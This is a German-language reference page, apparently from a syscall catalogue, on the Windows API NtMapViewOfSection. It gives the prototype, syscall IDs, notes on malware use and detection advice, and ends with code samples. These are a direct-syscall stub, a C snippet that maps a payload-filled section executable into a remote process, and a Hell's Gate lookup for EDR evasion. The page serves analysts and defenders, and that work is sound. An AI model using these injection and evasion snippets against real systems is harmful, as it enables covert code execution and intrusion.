NtMapViewOfSection
Bildet eine View eines Section-Objekts in den virtuellen Adressraum eines Zielprozesses ab.
Prototyp
NTSTATUS NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| SectionHandle | HANDLE | in | Handle auf das Section-Objekt aus NtCreateSection oder NtOpenSection. |
| ProcessHandle | HANDLE | in | Handle auf den Zielprozess; die Section-View wird in dessen VA-Raum gemappt. |
| BaseAddress | PVOID* | in/out | Gewünschte Basisadresse (NULL lässt den Kernel wählen). Beim Rückkehren auf gemappte Adresse aktualisiert. |
| ZeroBits | ULONG_PTR | in | Anzahl der Null-Bits in den höchstwertigen Bits von BaseAddress. Üblicherweise 0. |
| CommitSize | SIZE_T | in | Initial committete Größe für eine pagefile-basierte Section. Bei Image-Sections ignoriert. |
| SectionOffset | PLARGE_INTEGER | in/out | Offset innerhalb der Section, an dem die View beginnt. Muss 64-KB-ausgerichtet sein. NULL bedeutet 0. |
| ViewSize | PSIZE_T | in/out | Zeiger auf die gewünschte View-Größe. 0 mappt vom Offset bis zum Ende der Section. |
| InheritDisposition | SECTION_INHERIT | in | ViewShare (1) teilt mit Kindern, ViewUnmap (2) nicht. ViewUnmap ist die übliche Wahl. |
| AllocationType | ULONG | in | Allocation-Flags wie MEM_RESERVE, MEM_TOP_DOWN, MEM_LARGE_PAGES. Häufig 0. |
| Win32Protect | ULONG | in | Seitenschutz für die View, z. B. PAGE_READWRITE, PAGE_EXECUTE_READ. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x28 | win10-1507 |
| Win10 1607 | 0x28 | win10-1607 |
| Win10 1703 | 0x28 | win10-1703 |
| Win10 1709 | 0x28 | win10-1709 |
| Win10 1803 | 0x28 | win10-1803 |
| Win10 1809 | 0x28 | win10-1809 |
| Win10 1903 | 0x28 | win10-1903 |
| Win10 1909 | 0x28 | win10-1909 |
| Win10 2004 | 0x28 | win10-2004 |
| Win10 20H2 | 0x28 | win10-20h2 |
| Win10 21H1 | 0x28 | win10-21h1 |
| Win10 21H2 | 0x28 | win10-21h2 |
| Win10 22H2 | 0x28 | win10-22h2 |
| Win11 21H2 | 0x28 | win11-21h2 |
| Win11 22H2 | 0x28 | win11-22h2 |
| Win11 23H2 | 0x28 | win11-23h2 |
| Win11 24H2 | 0x28 | win11-24h2 |
| Server 2016 | 0x28 | winserver-2016 |
| Server 2019 | 0x28 | winserver-2019 |
| Server 2022 | 0x28 | winserver-2022 |
| Server 2025 | 0x28 | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 28 00 00 00 mov eax, 0x28 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
`NtMapViewOfSection` ist der Userland-Eingangspunkt der Kernel-Familie `MiMapViewOfSection`. SSN `0x28` ist über alle ausgelieferten Win10/11-Builds stabil. Section-basierter Speicher unterscheidet sich grundlegend von `NtAllocateVirtualMemory`: Views werden von einem `_SECTION`-Objekt (Datei oder Pagefile) gestützt, teilen physische Seiten zwischen Prozessen und erscheinen in den VADs mit `SubsectionBased`/`MappedFile` statt `Private`. Diese duale Natur — dieselben Bytes in zwei Adressräumen sichtbar — macht sie für Injection unwiderstehlich.
Häufige Malware-Nutzung
Fundament der Section-basierten Injection (Injection im `MapViewOfSection`-Stil, Process Doppelgänging, Process Ghosting, Transacted Hollowing, Atom-Bombing-Varianten). Eine pagefile-basierte Section wird per `NtCreateSection` erzeugt, lokal RW gemappt, der Shellcode hineinkopiert und dieselbe Section dann RX in den Remote-Prozess gemappt. Die Bytes erscheinen im Ziel ausführbar, ohne einen einzigen expliziten `WriteProcessMemory`-Aufruf. Verwendet von FIN7/Carbanak-Loadern, BumbleBee, dem ursprünglichen Process Doppelgänging von enSilo und diversen RAT-Loadern. Auch Rückgrat des Side-Loadings via `KnownDlls`-Poisoning.
Erkennungsmöglichkeiten
Section-Injection meidet bewusst die Telemetrie von `NtWriteVirtualMemory` und `NtAllocateVirtualMemory`, auf die EDRs achten. Allerdings feuern Sysmon Event ID 7 (`Image Load`) und Event ID 8 (`CreateRemoteThread`) weiterhin auf die Folgen. ETW Threat Intelligence emittiert `EtwTiLogMapExecVm`, sobald eine ausführbare View in einen Remote-Prozess gemappt wird — das ist das dedizierte Signal. VAD-Analyse mit PE-Sieve markiert `MappedImage`-Regionen, deren Backing-Datei gelöscht wurde (Process Ghosting) oder deren Section-Name keiner legitimen KnownDll entspricht. `ObRegisterCallbacks` auf `*PsProcessType` erlaubt Treibern, Rechte vom Section-Handle zu strippen, bevor es prozessübergreifend gemappt werden kann.
Direkte Syscall-Beispiele
asmx64 direct stub
; Direct syscall stub for NtMapViewOfSection (SSN 0x28, stable across all Win10/11)
NtMapViewOfSection PROC
mov r10, rcx ; syscall convention
mov eax, 28h ; SSN
syscall
ret
NtMapViewOfSection ENDPcPagefile-backed cross-process map
// Section injection: same physical pages mapped RW locally, RX in target.
HANDLE hSection = NULL;
LARGE_INTEGER max_size = { .QuadPart = 0x10000 };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &max_size,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
PVOID local_view = NULL;
SIZE_T view_size = 0;
NtMapViewOfSection(hSection, NtCurrentProcess(), &local_view, 0, 0, NULL,
&view_size, ViewUnmap, 0, PAGE_READWRITE);
memcpy(local_view, payload, payload_len);
PVOID remote_view = NULL;
view_size = 0;
NtMapViewOfSection(hSection, hRemote, &remote_view, 0, 0, NULL,
&view_size, ViewUnmap, 0, PAGE_EXECUTE_READ);cHell's Gate dynamic lookup
// SSN 0x28 across every supported build, but still better to resolve dynamically.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtMapViewOfSection"));
set_ssn(ssn);
indirect_syscall_invoke(/* hSection, hRemote, &remote_view, ... */);MITRE ATT&CK-Mappings
Last verified: 2026-05-20